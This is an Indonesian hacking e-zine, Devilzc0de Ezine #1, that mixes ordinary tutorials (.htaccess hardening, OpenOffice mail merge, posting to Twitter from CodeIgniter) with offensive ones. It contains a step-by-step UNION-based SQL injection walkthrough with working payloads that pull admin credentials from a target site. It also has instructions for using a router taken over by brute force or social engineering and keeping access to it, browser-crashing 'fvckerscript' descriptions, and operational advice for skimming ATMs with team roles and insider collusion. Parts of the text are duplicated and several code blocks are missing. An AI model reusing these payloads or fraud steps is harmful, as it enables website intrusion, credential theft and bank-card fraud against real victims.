2. Siapkan gambar dengan nama pemandangan.jpg 3. Upload kedua file tersebut ke file hosting. Pada contoh kali ini saya menggunakan 2 file hosting yang berbeda. 4. Buka browser dan ketik URL sebagai berikut http://website1.com/gambar.php?pic=pemandangan.jpg Devilzc0de Ezine #1 Maka hasil yang didapat sebagai berikut Bila hanya seperti ini orang lain bisa saja melakukan Copy Image URL untuk menampilkannya di website miliknya. http://website1.com/pemandangan.jpg Nah untuk mencegah hal itu terjadi maka kita harus menyiapkan file .htaccess yang berisi baris-baris seperti ini RewriteEngine On RewriteCond %{REQUEST_FILENAME} .*jpg$|.*gif$|.*png$ [NC] RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !websitekamu\.com [NC] RewriteCond %{HTTP_REFERER} !websiteteman\.com [NC] RewriteCond %{HTTP_REFERER} !google\. [NC] RewriteCond %{HTTP_REFERER} !search\?q=cache [NC] RewriteRule (.*) /gambar.php?pic=$1 Maka ketika seseorang melakukannya lagi maka dia tidak akan mendapatkan hasil apa-apa. Devilzc0de Ezine #1 9. Memberikan Password Pada File
Raihlah Angan Dan Cita-Citamu
Hacker
Selasa, 20 November 2012
E Zine_BimBim (Nara Sumber Naming "KEPO")
Volume#1
Not for Sale
Devilzc0de Ezine #1
Salam sejahtera bagi semua,
Internet adalah satu kata yang sudah dikenal di tiap bagian dunia modern.
Internet adalah teknologi yang tengah mengendalikan seluruh industri saat ini, dan memacu transaksi
bisnis global.
Internet tengah mengubah cara kita hidup, cara berkomunikasi, memberi dan memperoleh informasi,
memasarkan produk, menjual dan membeli barang ataupun jasa. mencari relasi ataupun kenalan,
bahkan belajar dan sekolah. dan masih banyak lagi, dan terus bertambah dan berkembang dari hari ke
hari.
Internet telah melahirkan satu dunia baru - cyberworld atau cyberspace - yang merupakan dunia virtual
reality dan real world of virtuality - dunia maya tapi nyata, dunia nyata tapi maya.
Internet telah melahirkan lebih banyak jutawan dan milyader daripada industri manapun juga dalam
sejarah dunia, bahkan dalam kurun waktu relativ jauh lebih singkat sekali.
Internet masih dalam usia sangat belia. Ia baru saja mulai, tapi sangat revolusioner. Dan mereka yang
cukup cerdik untuk memposisikan diri mereka di garisdepan revolusi ekonomis ini adalah mereka yang
akan meraup nilai baliknya.
E-Zine adalah berasal dari kata elektronik dan magazine artinya adalah majalah elektronik. WhiteCyber
E-Zine adalah majalah computer yang membahas networking, linux, hardening, patching, security and
hacking di Indonesia.
Tujuannya adalah untuk memberikan / berbagi artikel untuk perkembangan IT (Information and Technology)
ilmu computer, internet, hacking dan security di Indonesia.
Sejarah tanah air kembali terukir dengan hadir dan bangkitnya Devilzc0de kembali ke ranah IT dengan
wajah dan Tujuan baru dengan tujuan untuk memberi motivasi kedepan bagi para anggotanya dimana
forum ini merupakan wadah untuk saling berbagi dengan harapan semua anggotanya dapat mendapatkan
faedah yg baik dan berguna bagi keluarga, bangsa dan negara nya ...
Dengan hadirnya E-Zine ini kembali kita semua menjadi pionir-pionir dunia IT yang saling bahu membahu
dengan cara berbagi demi kemajuan IT di Tanah Ibu Pertiwi ini, tidak ada perbedaan disini hanya
ada persahabatan dan jalinan rasa sebangsa dan setanah air...
Devilzc0de sudah mengalami banyak pasang surut, manis pahit semua sudah dilewati sekarang dia
kembali dengan bentuk yang lebih tangguh dan lebih flexible dan motivasi yang sudah disempurnakan...
Semoga persembahan kami anak anak negri yang sederhana ini bisa menjadi kebanggaan dan bisa
menitikkan air mata haru dan bangga dari Ibu Pertiwi...
Dan Berguna bagi kita semua... Amin
Salam,
Segenap Staff & Pengurus Devilzc0de
Dari Redaksi
Volume#1
Contents
Mikrotik Download Manager Chaer.Newbie
.htaccess Security Cruz3N
SQL injection Gonzhack
Dasar Menggunakan Python Whitehat
- Membuat Folder dengan Password
- Menyembunyikan File ke dalam Gambar el_nino
Mengakses Regitry Dari DOS Prompt Misterfribo
- Menggunakan Mail Merge di Open Oce 3.x
- Bagaimana Mengupdate Status Twittermu dari Code Igniter
Petimati
- Membuat Server sederhana dengan Debian 4
- Tutorial Remastering Windows Wahyu_devilzc0de
- Menulis Sebuah IRC Bot di PHP
- Install Ubuntu 9.04 dengan Virtual Box Wenkhairu
- fvckerscript
- Membobol Account ATM dengan Skimmer Kiddies
Devilzc0de Ezine #1
Buat yang baru denger kata mikrotik gw kasih sedikit gambaran tentang , fungsi, kegunaan dan apa itu
mikrotik :
MikroTik RouterOS™ merupakan sistem operasi Linux base yang diperuntukkan sebagai network router.
Didesain untuk memberikan kemudahan bagi penggunanya. Administrasinya bisa dilakukan melalui Windows
application (WinBox). Selain itu instalasi dapat dilakukan pada standard computer PC. PC yang
akan dijadikan router mikrotikpun tidak memerlukan resource yang cukup besar untuk penggunaan standard,
misalnya hanya sebagai gateway. Untuk keperluan beban yang besar ( network yang kompleks,
routing yang rumit dll) disarankan untuk mempertimbangkan pemilihan resource PC yang memadai.
Fasilitas pada mikrotik antara lain sebagai berikut :
• Protokoll routing RIP, OSPF, BGP.
• Statefull firewall
• Hotspot for Plug-and-Play access
• remote winbox GUI admin
Meskipun demikian MikroTik bukanlah perangkat lunak berlisensi bebas, dalam arti untuk menggunakan
segala fasilitas yang tersedia pada perangkat lunak ini sejumlah lisensi harus dibeli. Versi uji coba hanya
disediakan untuk penggunaan selama 24 jam saja. Perangkat lunak ini tersedia dalam bentuk cakram
padat, ataupun DOM (bahas inggris: Disk On Module). Khusus untuk versi DOM, perangkat lunak Mikro-
Tik telah terpasang pada modul tersebut sehingga tidak memerlukan instalasi khusus, cukup dengan
menancapkan modul DOM tersebut pada slot IDE yang tersedia pada komputer.
Sumber : http://id.wikipedia.org/wiki/MikroTik
[FAQ]
Begin
+ User : Kenapa sih namanya mikrotik Download manager ..?
- Chaer: soalnya mikrotiknya yg melakukan direct downloding ( so tau w , padahal biar keren aja
pake judul itu) :)
+ User : kenapa harus mikrotik ?
- Chaer : judulnya aja mikrotik download manager , masa pake idm..? :)
+ User : buat apa sih kita ngelakuin aktifitas ini ...?? emang berguna..?
- Chaer: lumayan berguna , contoh kita jebol mikrotik dikampus/ disekolah ( biar ngetrent
disekolah/kampus) dengan berbagai macam teknik andalan kita keluarin mulai dari Bruteforce / Soceng
/ ngemis ngemis / punya temen, bisa juga dapet passwordnya dari hadiah ciki. :) kalo udah tembus passwordnya
Masa tuh router kita diemin / Kita reset doang (berharap internetnya mati).? Ckckck suatu tindakan
yg anarkis, Mending kita Bikin Mikrotiknya yg download, Terus kita tinggal maen/ pulang, terus besok
paginya kita ambil ...( ini baru tindakan yg sangat mulia , Menyusup tetapi tidak merusak) , Hahahhahah
+ User : terus kenapa ga ditaro dari idm nya langsung terus di taro client...?
- Chaer : Hmmm.. kalo ditaro di client Nanti downloadnnya kena limit T_T , kalo dimikrotiknya langsung
mungkin ga kena limit (sotoy doang w)
End.
Mikrotik Download Manager
Devilzc0de Ezine #1
Focus
Sesuai judulnya, Mikrotiknya gw jadiin buat mesin download. hehehehe
okeh alat dan bahannya :
1. Capucino
2. Mie Kremes Recomended anak Mas
3. Mikrotik Router ( yg udah kita Takeover /punya orang / sejenisnya)
4. Pc buat Remote ( terserah sih) hahahaha
Mulai Berhalusinasi :
1. Siapkan Link Download (direct Link)
http://openstorage.gunadarma.ac.id/symbian/s60/2nd_edition/language/PythonForS60_1_4_5_2ndEd.S
IS
2. kita pisahin satu satu deh sesuai sama http://wiki.mikrotik.com/wiki/Fetch
Script Jadinya : /tool fetch address=openstorage.gunadarma.ac.id srcpath=/
symbian/s60/2nd_edition/language/PythonForS60_1_4_5_2ndEd.SIS
3. Masuk Console Mikrotik Ketikan Script yg berada di Langkah ke 2
Jadinya :
Tunggu sampe selesai proses downloadnya
Selesai deeeh
Devilzc0de Ezine #1
Via WINBOX
1. Di Menu Sistem / Script
2. add
3. Terus Ok
yaudah tinggal di run script aja!
Beres deeeh tunggu filenya didownload selesai hahhahaa...
Finishing
Kita buka ftp router mikrotiknya ftp://ip-mikrotik
Kalo punya gua sih pake ftp://192.168.1.1/ ketik di mozila
Diminta masukin Password , masukin aja
Terus Keluar ini
Tinggal kita ambil ...heheheh
Devilzc0de Ezine #1
Nb :
Buat jaga jaga seandainya si admin mau ganti password router kita bikin schedule auto backup , Terus
Auto backup dikirim deh ke email kita...
Nanti tutor ini buat ezine ke 2...ato ane post di forum, hehehehe
Kekurangan :
• Apabila Routernya mati otomatis Downloadan kita juga mati T_T
• Kalo download filenya gede, Harddisk mikrotiknya juga kudu gede T_T
• Harus Direct link download
Kelebihan :
• Kalo kita download disitu kayaknya kita ga bakal kena limit di mikrotik...hahaha (Kayaknya )
• Bisa ditinggalin pulang, Serasa nanem torrent,
Kesimpulan:
• Dari tutorial diatas dapat kita simpulkan bahwa sebenernya w nih nulis tutorial apa bikin Laporan
?,,,awkawkkawkawkawkaw
Writen By : Chaer.Newbie For Devilzc0de.org | Chaer.Newbie [at] Gmail [dot] com
Credit
Special Thx : Allah SWT , beserta nabi Muhammad SAW ( beserta pengikutnya ) Ray16 , gunslinger_,
mywisdom, petimati, Pushm0v , gonzhack, Tenro , eightailz , flyff666 ,wisnu_sakti , Cakil , Dewancc ,
zee_eichel, Bejamz , Nacko, el_nino, wahyu_devilz0de And All STAFF, Moderator, Admin and Activis
Devilzc0de.org , hacker-newbie.org , Tecon-crew.org And semua forum yg udah w jelajahi
Devilzc0de Ezine #1
Apache web server memiliki beberapa pilihan konfigurasi yang tersedia untuk admin server. Di lingkungan
beberapa hosting yang di-share, anda tidak punya akses untuk konfigurasi utama Apache sehingga
anda terpaksa menggunakan konfigurasi default. Tapi anda bisa saja mengganti beberapa default setting
dengan membuat / mengubah sebuah file bernama .htaccess.
File .htaccess adalah file teks ASCII sederhana yang terletak di direktori www atau di sebuah sub direktori
folder www. Anda bisa membuat atau mengedit file ini di Text Editor (Notepad) dan kemudian menguploadnya
ke direktori yang ingin anda ubah setting-nya. Pastikan bahwa file tersebut diupload dalam
format ASCII bukan BINARY, dan pastikan file permission untuk file tersebut telah diset menjadi 644 (rwr-
r–). Hal tersebut memungkinkan server untuk mengakses file tapi mencegah user untuk mengakses file
tersebut dari browser mereka.
Secara default windows tidak akan mengijinkan apabila kita akan membuat file dengan nama .htaccess
Nah ada beberapa cara utuk membuat file tersebut tapi kita dapat dengan mudah untuk membuat file
tersebut menggunakan Command Prompt. Ketiklah perintah berikut
Itu sedikit penjelasan tentang .htaccess dan pada tutorial kali ini saya tidak akan banyak menjelaskan
tentang apa dan bagaimana itu file .htaccess tetapi beberapa kegunaan file ini yang akan bermanfaat
untuk Sekuritas. Oke langsung saja.
.
.htaccess Security
Devilzc0de Ezine #1
1. Mencegah Akses Ke .htaccess
Tambahkan baris berikut untuk menambah keamanan dari file .htaccess sehingga apabila ada
usaha untuk mengakses file tersebut akan muncul pesan kesalahan 403. Tentu saja tidak lupa memberikan
file permissionnya menjadi 644.
order allow,deny
deny from all
2. Mencegah Akses Ke File Tertentu
Untuk membatasi akses ke file tertentu kita dapat menggunakan perintah berikut. Ganti nama
rahasia.txt menjadi sesuai dengan kebutuhan anda. Nantinya file tersebut akan disembunyikan dan apabila
terdapat usaha untuk mengakses file tersebut akan terjadi error 403.
order allow,deny
deny from all
3. Mencegah Akses Ke Banyak File
Anda bisa mengganti beberapa extension dibawah sesuai dengan yang Anda butuhkan.
Order Allow,Deny
Deny from all
4. Mencegah User Melakukan Browsing Pada Setiap Direktori Server Kita
Options All -Indexes
4.1. Mengijinkan User Melakukan Browsing
Jika anda mengijinkan user untuk melakukan browsing pada “direktori yang telah kita tentukan”
cukup menambahkan perintah seperti dibawah ini. ( Cukup tempatkan file .htaccess pada folder yang
diinginkan )
Devilzc0de Ezine #1
Options All +Indexes
4.2. Mencegah User Melakukan Browsing Tanpa Pesan Error 403
IndexIgnore *
4.3. Mencegah User Melakukan Browsing Dengan Membatasi Extension File.
IndexIgnore *.wmv *.mp4 *.avi *.etc
5. Mengubah Index File
Secara default apabila kita membuat beberapa file dan salah satunya terdapat index file, maka file
tersebutlah yang akan dijalankan terlebih dahulu. Dengan menggunakan .htaccess kita dapat merubahnya
menjadi nama file yang kita inginkan.
DirectoryIndex ganti.php
6. Menyamarkan Extension PHP
Ini sangat berguna untuk menambahkan keamanan pada aplikasi PHP yang anda buat. anda bisa
mengganti extension php pada aplikasi anda dengan extension yang telah anda daftarkan, Mungkin
“LOL”, “hacking”, dll. Nah dengan kode berikut, file tersebut akan tetap dibaca sebagai file PHP. Sedikit
catatan, biasanya saya mencari file httpd.conf dan menambahkan extensionnya disitu, akan tetapi inilah
kelebihan .htaccess. Kita tidak perlu merubah settingan asli pada Apache.
AddType application/x-httpd-php .hacking
7. Membatasi Akses Ke LAN (Local Area Network)
order deny,allow
deny from all
allow from 192.168.1.5
7.1. Bisa Menambahkan Domain
order allow,deny
allow from all
deny from 192.168.1.5
deny from .*domain\.com.*
Devilzc0de Ezine #1
8. Mencegah Hotlinking
Hotlinking merupakan pencurian bandwidth melalui penggunaan sebuah image yang akan
dipasang pada suatu halaman pada website lain, sehingga bandwidth dari website asal akan tersedot bila
image yang dipasang pada website lain itu dibuka.
Atau secara simple bisa diterjemahkan, ada orang lain yang mengkopi link image dari website kita dan
menempatkannya pada website miliknya.
Memang tidak terlalu banyak memakan bandwith akan tetapi hal ini cukup mengganggu dan mungkin kita
bisa memberi sedikit pelajaran kepada si Pelaku :D.
Kita akan melakukan beberapa praktek ringan.
1. Ketik kode berikut dan simpan dengan nama gambar.php
2. Siapkan gambar dengan nama pemandangan.jpg 3. Upload kedua file tersebut ke file hosting. Pada contoh kali ini saya menggunakan 2 file hosting yang berbeda. 4. Buka browser dan ketik URL sebagai berikut http://website1.com/gambar.php?pic=pemandangan.jpg Devilzc0de Ezine #1 Maka hasil yang didapat sebagai berikut Bila hanya seperti ini orang lain bisa saja melakukan Copy Image URL untuk menampilkannya di website miliknya. http://website1.com/pemandangan.jpg Nah untuk mencegah hal itu terjadi maka kita harus menyiapkan file .htaccess yang berisi baris-baris seperti ini RewriteEngine On RewriteCond %{REQUEST_FILENAME} .*jpg$|.*gif$|.*png$ [NC] RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !websitekamu\.com [NC] RewriteCond %{HTTP_REFERER} !websiteteman\.com [NC] RewriteCond %{HTTP_REFERER} !google\. [NC] RewriteCond %{HTTP_REFERER} !search\?q=cache [NC] RewriteRule (.*) /gambar.php?pic=$1 Maka ketika seseorang melakukannya lagi maka dia tidak akan mendapatkan hasil apa-apa. Devilzc0de Ezine #1 9. Memberikan Password Pada File
AuthType Basic
AuthName "Prompt"
AuthUserFile /home/path/.htpasswd
Require valid-user
9.1. Memberikan Password Pada Banyak File
AuthType basic
AuthName "Development"
AuthUserFile /home/path/.htpasswd
Require valid-user
9.2. Memberikan Password Pada Direktori Dimana .htaccess Berada
resides
AuthType basic
AuthName "This directory is protected"
AuthUserFile /home/path/.htpasswd
AuthGroupFile /dev/null
Require valid-user
10. Otomatis Memberikan CHMOD Kepada Setiap File
chmod .htpasswd files 640
chmod .htaccess files 644
chmod php files 600
11. Melindungi Dari Serangan DOS ( Denial Of Service ) Dengan Membatasi Upload File
Ini adalah salah satu metode sederhana yang bisa kita gunakan untuk mencegah serangan DOS.
Disini kita membatasi ukuran upload sebesar 10240000 byte yang setara dengan 10 mb.
LimitRequestBody 10240000
12. Mengamankan Direktori Dari Pengeksekusian Script Atau File
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI
By Cruz3N
Contact : cruzenaldo[at]gmail[dot]com
Blog : cruzenaldo[dot]blogspot[dot]com
Web : cruzenaldo[dot]com (Coming Soon :D )
Devilzc0de Ezine #1
0x01. Pendahuluan
0x02. Crashing Browser
=>infinite alert box
=>infinite open window
=>infinite frame
=>memory hog
=>white screen of the death
=> IE crash v 4.x
0x03. Penutup
0x01. Pendahuluan.
ok kawan, sering kita memakai browser, tapi tahu tidak kadang browser kita suka crash karena web
page yang kita buka, padahal seharusnya dan semestinya web page yang baik tidak menyebabkan
browsernya mengalami crash. Nah, dalam ezine ini gue akan membahas tentang bagaimana membuat
browser crash.
Ok, gue cuma ingetin kalo terjadi masalah terhadap browsernya, matikan dengan task manager, atau
kalo gak bisa, reboot ajah ok,hehehehe.
0x02. Crashing Browser.
Ok , teman2 semuanya, disini gue akan kasih permainan hacking lama gue ok,hehehe.
Yups langsung ajah yah.
=>infinite alert box
nah kalo ini mungkin sering kita jumpai yah, memunculkan alert box di browser, scriptnya cukup mudah
script :
nah script diatas buat memunculkan alert box yang g bakalan bisa di close,soalnya script tersebut akan
mucul trus ketika di tutup.
fvckerscript
Devilzc0de Ezine #1
=>infinite open window
script:
nah kalo yang ini buat membuka browser tanpa henti,nanti lama kelamaan akan crash tuh browser
=>infinite frame
ini di coba pada IE 4 ok.
Script frame.html:
script iframe.html:
jadi program ini adalah untuk frame dalam frame, kalo lama kelamaan ini juga data menibulkan web
browser hang.
Devilzc0de Ezine #1
=>memory hog
program ini dapat mengalokasikan memory sampe g bersisa, kalo pada windows 9x akan crash.
Script:
=>white screen of the death
script:
ini akan membuat tampilan browser menjadi putih melompong,hehehehe
nb : ane muenggunakan IE v 4 kebawah untuk melakukan aksi seperti diatas, silahkan di kembangkan
lagi agar dapat menukan kelemahan pada browser2 baru ok...hehehe
beginilah permainan dahulu kala ane sebelum kenal ini itu dan program.
0x03. Penutup
makasih buat kawan2 w yang udeh dukung w selama ini.
Thanks: mywisdom,petimati,gunslinger_(moga cepet sembuh),whitehat, devil_nongkrong dan kamu.
Buat devilzc0de maju terus ok, jgn pernah menyerah banyak yang udeh kita lewati dan ternyata kita
tetep solid satu sama lain.
Devilzc0de Ezine #1
halo kawan2...mungkin sekarang lagi hot2nya bahas tentang bagaimana cara membobol ATM dengan
skimmer...nah disni w mau jelasin bagaimana cara membobol ATM dengan skimmer, disni w akan jelasin
langkah demi langkah globalnya ajah ok...inget jgn disalah gunakan dan jgn pula disebarluaskan, nanti
ngeri banyak ngembad ATM orang dan w ngeri disangka yang melakukan tindakan carding ini...
sebenernya w nulis ini juga terinspirasi dari film hacker yang berjudul sneaker yang hanya memanfaatkan
social engineering dia bisa melakukan aktifitas masuk ke dalam sistem..udeh yah ceritanya....
ok langkah pertama dalam membobol ATM dengan teknologi adalah
1.beli skimmer kalo bisa dari luar negri, jgn dari dalem, soalnya sekarang udeh riskan.
2.amati ATM yang mau kita susupi.
3.utamakan kerja team (minimal team:5 sampe 6 orang), lebih dari ketentuan itu, tanggung sendiri kalo
mudah tertangkap..
4.pedeketan terhadap penjaga ATM.
5.kamera pengintai yang kecil.kalo gede pasti ketahuan
ok langsung ajah yah
setelah kita mendekati dan mengamati lokasi serta jam berapa waktu apa dan hari apa ATM tersebut
tidak ramai dikunjungin nasabah dan kita telah soceng ke orang dalem bank atau bisa juga kita kerjasama
dengan orang dalem bank (kalo kerjasama sama orang dalem bank harus tahu cara kerja sistem bank di
tiap departementnya)...
gunanya team: 3 orang pengawasan jarak jauh,2 orang melakasanakan ekseskusi terhadap pemasangan
alat(skimmer & kamera pengintai), 1 orang pengawasan dari jarak dekat
nah dari situ kita bisa bobol account ATM orang yang tidak hati2...
sebelum melakukan aktifitas ini harus paham cara kerja skimmer dan kamera pengintai, serta langkah2
yang disebutkan ok....
makasih buat kawan2 w yang udeh dukung w selama ini.
Thanks: mywisdom,petimati,gunslinger_(moga cepet sembuh),whitehat, devil_nongkrong dan kamu.
Buat devilzc0de maju terus ok, jgn pernah menyerah banyak yang udeh kita lewati dan ternyata kita tetep
solid satu sama lain.
Contact : crasher_1412@yahoo.com & peneter@yahoo.com
blog : http://kiddiez.co.cc http://kiddiescode.wordpress.com
remember : To much love will kill you !!!!! w udeh rasain itu soalnya.
Membobol Account ATM dengan Skimmer
Devilzc0de Ezine #1
Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi
perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi
yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan
error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100
sehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
SQL Injection
Devilzc0de Ezine #1
===========
=step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah
tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak
sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah
From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini
bisa menggunakan perintah From+Information_schema..
============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"
===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah
angka terakhir
[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+t
able_schema=database()--
Devilzc0de Ezine #1
=============
= step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah
angka terakhir
[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where
+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
www.ascii-convert.co.cc
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where
+table_name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table
berasal)--
contoh kata yang keluar adalah id,username,password
[site]/berita.php?id=-
100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
Devilzc0de Ezine #1
==============
= step Delapan:=
==============
tahap terakhir mencari halam admin atau login
selanjutnya terserah anda karena kekuasaan web ada di tangan anda...
[+] Author : Gonzhack
[+] Homepage : http://www.indonesiancoder.com
Devilzc0de Ezine #1
Mail Merge adalah fasilitas writer untuk membuat surat secara masal berdasarkan template digabung
dengan data yang sudah ada.
Berikut akan dijelaskan cara menggunakan Mail Merge pada Open Office 3.0:
Kondisi:
OS Ubuntu 9.04(secara default sudah terdapat Open Office 3.0)
1. Ubuntu 9.04 walaupun defautnya sudah terdapat Open Office 3.0, tetapi software yang dibutuhkan
untuk mengolah Database Office belum ada yaitu OpenOffice.org Base, jadi kita perlu mengistall software
tsb. Buka Synaptic lalu ketik OpenOffice.org-base pada field search, pilih lalu install.
2. Buka OpenOffice Calc, buat data seperti di bawah ini:
Lalu Save, beri nama upass.xls(Simpan dalam format Xls).
Menggunakan Mail Merge di Open Office 3.x
Devilzc0de Ezine #1
3. Buka OpenOffice Word,
o pada menu pilih File=> Wizard=>Address Data Source.
o Kemudian pilih Other external data source. Pada Connection Setting pilih Setting => Spreadsheet
=> Next.
o Klik Browse, arahkan menuju file sumber data Anda, sesuaikan book name. Finish.
o (Option)Test Connection terlebih dahulu untuk menguji apakah file Anda benar-benar bisa
diubungkan.
o Selanjutnya, tekan tombol F4 atau klik menu View => Data Sources, sehingga Anda memiliki
tampilan Data Source seperti berikut. Klik dua kali pada Sheet1 untuk melihat sumber data yang telah kita
buat di aplikasi spreadsheet. Jika Anda menemui kesulitan untuk menampilkan sumber datanya, padahal
sudah mengikuti langkah-langkah di atas, maka Anda lakukan refreshing data, caranya dengan tekan F4
beberapa kali. Buat
Template Office Word seperti di bawah:
Devilzc0de Ezine #1
o Drag dan drop dari data di atas ke dokumen utama kita, untuk Nama, Username dan Password.
o Untuk mencetak hasilnya, klik File => Print. Pilih Yes jika ada pertanyaan konfirmasi.
Option: singgle doc jika anda menginginkan data disimpan dalam 1 file,
dan individual doc jika anda menginginkan data terpisah menurut jumlah record.
"SELAMAT MENCOBA"
Devilzc0de Ezine #1
Pada tutorial ini, kita akan mengupdate status twitter kita melalui 'Twitter API' menggunakan CodeIgniter.
Saya rekomendasikan anda mengikuti langkah demi langkah sampai tutorial ini selesai...
1. Konfigurasi CodeIgniter
Pertama kali yang kita perlu edit adalah config.
Buka system/application/config/autoload.php, lalu edit lah baris :
menjadi
Ini akan memuat otomatis library database. Lalu buka database.php dan sesuaikan settingan koneksinya.
nama database anda, username dan passwordnya. Untuk nama database kita gunakan ci_twitter_api.
Sekarang bukalah config.php, Lalu rubahlah base_url untuk ci anda. Jadi didalamnya saya meletakkan
folder system untuk ci saya. Ok. Saya rubah menjadi :
2. Mengisi Database
Silahkan buka tools untuk membuat database, bisa PHPMyAdmin, SQL Buddy atau yang lainnya. Silahkan
membuat database baru ci_twitter_api. Kita akan membuat tabel dan mengisinya dengan username
dan password kita di twitter. Berikut query nya...
CREATE TABLE IF NOT EXISTS `accounts` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(120) NOT NULL,
`password` varchar(32) NOT NULL,
`active` int(11) NOT NULL,
`last_message` varchar(140) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
INSERT INTO `accounts` (`id`, `username`, `password`, `active`, `last_message`) VALUES
(1, 'username', 'password', 1, 'No message sent');
3. Membangun Model
Menuju system/application/model, lalu buatlah satu file twitter_model.php.
Pertama, kita akan mendeklarasikan 2 variabel :
Bagaimana Mengupdate Status Twittermu dari Code Igniter
Devilzc0de Ezine #1
Jadi, $accounts_table merujuk pada tabel yang telah kita buat tadi, sedangkan $update_url adalah
alamat URL yang akan mengupdate status kita pada twitter. Jika twitter merubah URL tersebut, anda tinggal
ganti saja $update_url menjadi alamat yang bisa digunakan untuk mengupdate status anda ditwitter.
Sekarang kita akan membuat metode pertama yang akan mengembalikan akun yang aktif pada database,
bernilai 1 baris dan aktif. Saya telah menambah ini karena terkadang, seseorang mempunyai satu
atau lebih akun twitter.
db->get_where($this->accounts_table, array('active' => '1'))->row();
}
?>
Kita akan menggunakan active record untuk mengambil akun yang aktif dan mengembalikan baris yang
dihasilkan.
Langkah selanjutnya, kita akan membangun metode utama, Ini akan menggunakan username dan password,
tentu saja dengan pesan yang akan kita gunakan untuk menjadi status kita.
update_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'status='.urlencode($message));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERPWD, $username . ':' . $password);
curl_exec($ch);
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
Devilzc0de Ezine #1
// if we were successfull we need to update our last_message
if ($httpcode == '200')
{
$this->db->where('active', '1');
$this->db->update($this->accounts_table, array('last_message' => $message));
return TRUE;
}
else
{
return FALSE;
}
}
?>
Pada baris pertama kode diatas mungkin terlihat complicate tapi sebenarnya tidak sulit untuk dimengerti.
Bagian paling penting yang kita gunakan adalah cURL untuk berkomunikasi dengan Twitter. Itu library
yang sangat mantap yang memperbolekan kita untuk mengirim dan menerima HTTP POST data dari
Twitter.
Lalu curl-init menunjukkan sesi cURL dan mengambil URL sebagai parameter - dalam kasus ini, URL
update status dari Twitter API.
Lalu, curl_setopt, kita mengeset beberapa opsi yang biasa digunakan untuk transfer cURL.
• CURLOPT_POST : Kita set menjadi '1' untuk menggunakan HTTP POST, yang sama kita gunakan
dalam Form HTML.
• CURLOPT_POSTFIELDS : Opsi ini untuk menerima POST data yang kita kirim. Dalam kasus ini
'status=' pesan kita. Kita perlu meng-encode URL pesan kita sehingga bisa menggunakan karakter
khusus seperti '%&/'
•
